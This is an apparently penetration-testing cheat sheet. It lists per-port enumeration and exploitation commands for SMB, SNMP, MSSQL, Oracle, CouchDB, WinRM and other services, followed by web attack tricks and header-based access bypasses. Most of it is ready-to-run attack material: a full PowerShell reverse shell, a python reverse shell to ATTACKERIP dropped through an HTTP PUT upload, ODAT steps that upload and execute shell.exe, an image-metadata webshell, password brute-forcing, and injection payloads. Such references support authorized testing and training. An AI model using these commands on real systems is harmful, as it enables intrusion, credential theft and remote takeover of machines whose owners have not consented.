| msgsvc (ntsvcs alias) | [msgsvcsend](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msgsvc.html) interface (Messenger service) | messenger | 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 |
| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- |

| nddeapi | [nddeapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_nddeapi.html) interface (NetDDE service) | netdde.exe | 2f5f3220-c126-1076-b549-074d078619da v1.2 |
| ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- |

| netdfs | [netdfs](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_netdfs.html) interface (Distributed File System service) | Dfssvc | 4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 |
| ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ----------------------------------------- |

| netlogon (lsass alias) | [netlogon](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_netlogon.html) interface (Net Logon service) | Netlogon | 12345678-1234-abcd-ef00-01234567cffb v1.0 |
| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| ntsvcs | [pnp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_pnp.html) interface (Plug and Play service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
| ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| plugplay | [pnp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_pnp.html) interface (Plug and Play Windows Vista service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------- | ----------------------------------------- |

| policyagent | [PolicyAgent](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_ipsec_w2k.html) interface (IPSEC Policy Agent (Windows 2000)) | PolicyAgent | d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------- | ----------------------------------------- |

| ipsec | [winipsec](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winipsec.html) interface (IPsec Services) | PolicyAgent | 12345678-1234-abcd-ef00-0123456789ab v1.0 |
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- |

| ProfMapApi | [pmapapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | 369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 |
| ---------- | ----------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- |

| protected\_storage | [IPStoreProv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_protected_storage.html) interface (Protected Storage) | lsass.exe | c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- |

| ROUTER | Remote Access | mprdim.dll | 8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 |
| ------ | ------------- | ---------- | ----------------------------------------- |

| samr (lsass alias) | [samr](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_samr.html) interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ac v1.0 |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- |

| scerpc | [SceSvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_sce.html) | services.exe | 93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 |
| ------ | --------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- |

| SECLOGON | [ISeclogon](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_seclogon.html) interface (Secondary logon service) | seclogon | 12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 |
| -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| SfcApi | [sfcapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_sfcapi.html) interface (Windows File Protection) | winlogon.exe | 83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 |
| ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------ | ----------------------------------------- |

| spoolss | [spoolss](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_spoolss.html) interface (Spooler service) | spoolsv.exe | 12345678-1234-abcd-ef00-0123456789ab v1.0 |
| ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------- | ----------------------------------------- |

| srvsvc (ntsvcs alias) | [srvsvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html) interface (Server service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------- |

| ssdpsrv | [ssdpsrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_ssdpsrv.html) interface (SSDP service) | ssdpsrv | 4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 |
| ------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- |

| svcctl (ntsvcs alias) | [svcctl](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_svcctl.html) interface (Services control manager) | services.exe | 367aeb81-9844-35f1-ad32-98f038001003 v2.0 |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- |

| tapsrv | [tapsrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_tapsrv.html) interface (Telephony service) | Tapisrv | 2f5f6520-ca46-1067-b319-00dd010662da v1.0 |
| ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ | ------- | ----------------------------------------- |

| trkwks | [trkwks](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_trkwks.html) interface (Distributed Link Tracking Client) | Trkwks | 300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 |
| ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ----------------------------------------- |

| W32TIME (ntsvcs alias) | [w32time](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_w32time.html) interface (Windows Time (Windows 2000 and XP)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- |

| W32TIME\_ALT | [w32time](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_w32time.html) interface (Windows Time (Windows Server 2003, Windows Vista)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- |

| winlogonrpc | [GetUserToken](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 |
| ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- |

| winreg | [winreg](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winreg.html) interface (Remote registry service) | RemoteRegistry | 338cd001-2244-31f1-aaaa-900038001003 v1.0 |
| ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------- | ----------------------------------------- |

| winspipe | [winsif](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winsif.html) interface (WINS service) | wins.exe | 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| wkssvc (ntsvcs alias) | [wkssvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_wkssvc.html) interface (Workstation service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 6bffd098-a112-3610-9833-46c3f87e345a v1.0 |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------- |

## Port 139/445 - SMB

```bash
# Enum hostname
enum4linux -n 10.11.1.111
nmblookup -A 10.11.1.111
nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111

# Get Version
smbver.sh 10.11.1.111
Msfconsole;use scanner/smb/smb_version
ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' 
smbclient -L \\\\10.11.1.111

# Get Shares
smbmap -H  10.11.1.111 -R 
echo exit | smbclient -L \\\\10.11.1.111
smbclient \\\\10.11.1.111\\
smbclient -L //10.11.1.111 -N
nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
smbclient -L \\\\10.11.1.111\\
# If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
smbclient -L //10.11.1.111/ --option='client min protocol=NT1'

# Check null sessions
smbmap -H 10.11.1.111
rpcclient -U "" -N 10.11.1.111
smbclient //10.11.1.111/IPC$ -N

# Exploit null sessions
enum -s 10.11.1.111
enum -U 10.11.1.111
enum -P 10.11.1.111
enum4linux -a 10.11.1.111
#https://github.com/cddmp/enum4linux-ng/
enum4linux-ng.py 10.11.1.111 -A -C
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111

# Connect to username shares
smbclient //10.11.1.111/share -U username

# Connect to share anonymously
smbclient \\\\10.11.1.111\\
smbclient //10.11.1.111/
smbclient //10.11.1.111/
smbclient //10.11.1.111/<""share name"">
rpcclient -U " " 10.11.1.111
rpcclient -U " " -N 10.11.1.111

# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111

# Multi exploits
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run

# Bruteforce login
medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt 
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111  -vvvv
nmap –script smb-brute 10.11.1.111

# nmap smb enum & vuln 
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111

# Mount smb volume linux
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

# rpcclient commands
rpcclient -U "" 10.11.1.111
    srvinfo
    enumdomusers
    getdompwinfo
    querydominfo
    netshareenum
    netshareenumall

# Run cmd over smb from linux
winexe -U username //10.11.1.111 "cmd.exe" --system

# smbmap
smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell

# Check
\Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "

# CrackMapExec
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa

# Impacket
python3 samdump.py SMB 172.21.0.0

# Check for systems with SMB Signing not enabled
python3 RunFinger.py -i 172.21.0.0/24
```

## Port 161/162 UDP - SNMP

```bash
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
snmp-check 10.11.1.111 -c public|private|community
snmpwalk -c public -v1 ipaddress 1
snmpwalk -c private -v1 ipaddress 1
snmpwalk -c manager -v1 ipaddress 1
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X

# Impacket
python3 samdump.py SNMP 172.21.0.0 

# MSF aux modules
 auxiliary/scanner/misc/oki_scanner                                    
 auxiliary/scanner/snmp/aix_version                                   
 auxiliary/scanner/snmp/arris_dg950                                   
 auxiliary/scanner/snmp/brocade_enumhash                               
 auxiliary/scanner/snmp/cisco_config_tftp                               
 auxiliary/scanner/snmp/cisco_upload_file                              
 auxiliary/scanner/snmp/cnpilot_r_snmp_loot                             
 auxiliary/scanner/snmp/epmp1000_snmp_loot                             
 auxiliary/scanner/snmp/netopia_enum                                    
 auxiliary/scanner/snmp/sbg6580_enum                                 
 auxiliary/scanner/snmp/snmp_enum                                 
 auxiliary/scanner/snmp/snmp_enum_hp_laserjet                           
 auxiliary/scanner/snmp/snmp_enumshares                                
 auxiliary/scanner/snmp/snmp_enumusers                                 
 auxiliary/scanner/snmp/snmp_login
```

## Port 389,636 - LDAP

Check [AD](/post-exploitation/windows/ad) section and this [LDAP](https://malicious.link/post/2022/ldapsearch-reference/) guide

```bash
jxplorer
ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
# Check # https://github.com/ropnop/go-windapsearch
```

## Port 443 - HTTPS

Read the actual SSL CERT to:

* find out potential correct vhost to GET
* is the clock skewed
* any names that could be usernames for bruteforce/guessing.

```bash
./testssl.sh -e -E -f -p  -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
# Check for mod_ssl,OpenSSL version Openfuck
```

## Port 500 - ISAKMP IKE

```
ike-scan 10.11.1.111
```

## Port 513 - Rlogin

```
apt install rsh-client
rlogin -l root 10.11.1.111
```

## Port 541 - FortiNet SSLVPN

[Fortinet Ports Guide](https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png)

[SSL VPN Leak](https://opensecurity.global/forums/topic/181-fortinet-ssl-vpn-vulnerability-from-may-2019-being-exploited-in-wild/?__cf_chl_jschl_tk__=42e37b31a0585f7dae3dbce18cafde7c39b81976-1578385705-0-AcuYzrPMO1OuMo59JSPYyzZjiXNbMAIl6sKiXwhQRbMUMZq1Kp3VmWqIVXWZdzTZgFCecXue1Z6xXxU-Rql_GT_ovKiar_-i0CUCKFS85bfNXnUzuOuIwomXje-kH87mNbVHzzh9ediRfVWbJjwtO-ttLEYi7quczLlHQk38UqcumrARs77RrK2mj9zOb8Uwhv6av4QZ9od4fgAIl-F4Kff26MPQjs4LRHsgk5zH6RVwFMP8NdOnCrrzkkGH6_R9Dtw89_QtiOsH1nKB0hBDbtJ2O9AkkMDqw7tl1ip_pVDfnw1lvaZtFq1sRqgYwpan-n6n9f58Xdjcj2UGFKdE32OS7Ete8X7RwXUV9FGUSOhAM5_iK0kMNJg3mskrFVQz0lONaZVvFRdf_1rp69J4oRVat1m7KIQEGpRDe4OvYUb7pfQkNKLcK5s_lVIj2SAJQQ)

## Port 1433 - MSSQL

```bash
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
    xp_cmdshell 'date'
      go


EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'

https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
```

## Port 1521 - Oracle

```bash
oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle

# https://github.com/quentinhardy/odat
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE

# Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe

# and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
```

## Port 2000 - Cisco sccp

```bash
# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 

# cisco-smart-install
https://github.com/Sab0tag3d/SIET/
sudo python siet.py -g -i 192.168.0.1
```

## Port 2049 - NFS

```bash
nmap -p 111,2049 --script nfs-ls,nfs-showmount

showmount -e 10.11.1.111

# If you find anything you can mount it like this:

mount 10.11.1.111:/ /tmp/NFS –o nolock
mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock
```

## Port 2100 - Oracle XML DB

Default passwords:

<https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm>

## Port 3306 - MySQL

```bash
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306

mysql --host=10.11.1.111 -u root -p

# MYSQL UDF 4.x/5.0
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
```

## Port 3389 - RDP

```bash
nmap -p 3389 --script=rdp-vuln-ms12-020.nse
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
rdesktop -u guest -p guest 10.11.1.111 -g 94%
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
```

## Port 5432 - PostgreSQL

```bash
psql -h 10.10.1.111 -U postgres -W

# Default creds
postgres : postgres
postgres : password
postgres : admin
admin : admin
admin : password

pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
```

## Port 5900 - VNC

```bash
nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
```

## Port 5984 - CouchDB

```bash
curl http://example.com:5984/
curl -X GET http://IP:5984/_all_dbs
curl -X GET http://user:password@IP:5984/_all_dbs

# CVE-2017-12635 RCE

# Create user
curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’

# Dump database
curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword

# Dump passwords
curl -X GET http://user:passwords@localhost:5984/passwords
```

## Port 5985 - WinRM

```bash
# https://github.com/Hackplayers/evil-winrm
gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
```

## Port 6379 - Redis

```bash
# https://github.com/Avinash-acid/Redis-Server-Exploit
python redis.py 10.10.10.160 redis
```

## Port 8172 - MsDeploy

```bash
# Microsoft IIS Deploy port
IP:8172/msdeploy.axd
```

## Port 5601/9200

[ELK](/enumeration/webservices/elk)

## Port 27017-19/27080/28017 - MongoDB

[MongoDB](/enumeration/webservices/nosql-and-and-mongodb)

## Unknown ports

* `amap -d 10.11.1.111 8000`
* netcat: makes connections to ports. Can echo strings or give shells: `nc -nv 10.11.1.111 110`
* sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations

## RCE ports

![](/files/-MLGsLNQURVNPdeBP_yr)


# Web Attacks

> **Skill Level**: Beginner to Advanced\
> **Prerequisites**: HTTP basics, web architecture

**Check out in the left submenu what common attack you want review**

![](/files/-M92pwKmnNGTNqUWA0Fd)


# General Info

## Auth headers

```bash
# Basic Auth (B64)
Authorization: Basic AXVubzpwQDU1dzByYM==
# Bearer Token (JWT)
Authorization: Bearer <token>
# API Key
GET /endpoint?api_key=abcdefgh123456789
X-API-Key: abcdefgh123456789
# Digest Auth
Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8”
# OAuth2.0
Authorization: Bearer hY_9.B5f-4.1BfE
# Hawk Authentication
Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU="
# AWS signature
Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_
```

## Common checks

```bash
# robots.txt
curl http://example.com/robots.txt
# headers
wget --save-headers http://www.example.com/
    # Strict-Transport-Security (HSTS)
    # X-Frame-Options: SAMEORIGIN
    # X-XSS-Protection: 1; mode=block
    # X-Content-Type-Options: nosniff
# Cookies
    # Check Secure and HttpOnly flag in session cookie
    # If exists BIG-IP cookie, app behind a load balancer
# SSL Ciphers
nmap --script ssl-enum-ciphers -p 443 www.example.com
# HTTP Methods
nmap -p 443 --script http-methods www.example.com
# Cross Domain Policy
curl http://example.com/crossdomain.xml
    # allow-access-from domain="*"

# Cookies explained
https://cookiepedia.co.uk/
```

## Security headers explanation

![](/files/-MKKBayvDAl5GAzaSO7O)


# Quick tricks

```bash
# Web ports for nmap
80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672

# Technology scanner
# https://github.com/urbanadventurer/WhatWeb
whatweb htttps://url.com

# Screenshot web
# https://github.com/maaaaz/webscreenshot
# https://github.com/sensepost/gowitness
# https://github.com/michenriksen/aquatone

# Get error with in input
%E2%A0%80%0A%E2%A0%80

# Retrieve additional info:
/favicon.ico/..%2f
/lol.png%23
/../../../
?debug=1
/server-status
/files/..%2f..%2f

# Change default header to accept */*
Accept: application/json, text/javascript, */*; q=0.01

# Sitemap to wordlist (httpie)
http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt

# Bypass Rate Limits:
# Use different params: 
    sign-up, Sign-up, SignUp
# Null byte on params:
    %00, %0d%0a, %09, %0C, %20, %0

# Bypass upload restrictions:
# Change extension: .pHp3 or pHp3.jpg
# Modify mimetype: Content-type: image/jpeg
# Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
# Add gif header: GIF89a;
# All at the same time.

# ImageTragic (memory leaks in gif preview)
# https://github.com/neex/gifoeb
./gifoeb gen 512x512 dump.gif
# Upload dump.gif multiple times, check if preview changes.
# Check docs for exploiting

# If upload from web is allowed or :
# https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
# https://iplogger.org/invisible/
# https://iplogger.org/15bZ87

# Check HTTP options:
# Check if it is possible to upload
curl -v -k -X OPTIONS https://10.11.1.111/
# If put enabled, upload:
curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
# If PUT is not allowed, try to override:
X-HTTP-Method-Override: PUT
X-Method-Override: PUT

# Retrieve endpoints
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b

# Retreive hidden parameters
# Tools
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get 
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com

# .DS_Store files?
# https://github.com/gehaxelt/Python-dsstore
python main.py samples/.DS_Store.ctf

# Polyglot RCE payload
1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}

# Nmap web scan
nmap --script "http-*" example.com -p 443

# SQLi + XSS + SSTI
'"><svg/onload=prompt(5);>{{7*7}}
' ==> for Sql injection 
"><svg/onload=prompt(5);> ==> for XSS 
{{7*7}} ==> for SSTI/CSTI

# Try to connect with netcat to port 80
nc -v host 80

# Understand URL params with unfurl
https://dfir.blog/unfurl/
```


# Header injections

## Headers

```bash
# Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console
Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
X-Wap-Profile:

# Try to repeat same Host header 2 times
Host: legit.com
Stuff: stuff
Host: evil.com

# Bypass type limit
Accept: application/json, text/javascript, */*; q=0.01
Accept: ../../../../../../../../../etc/passwd{{'

# Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header

# 401/403 bypasses 
# Whitelisted IP 127.0.0.1 or localhost
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
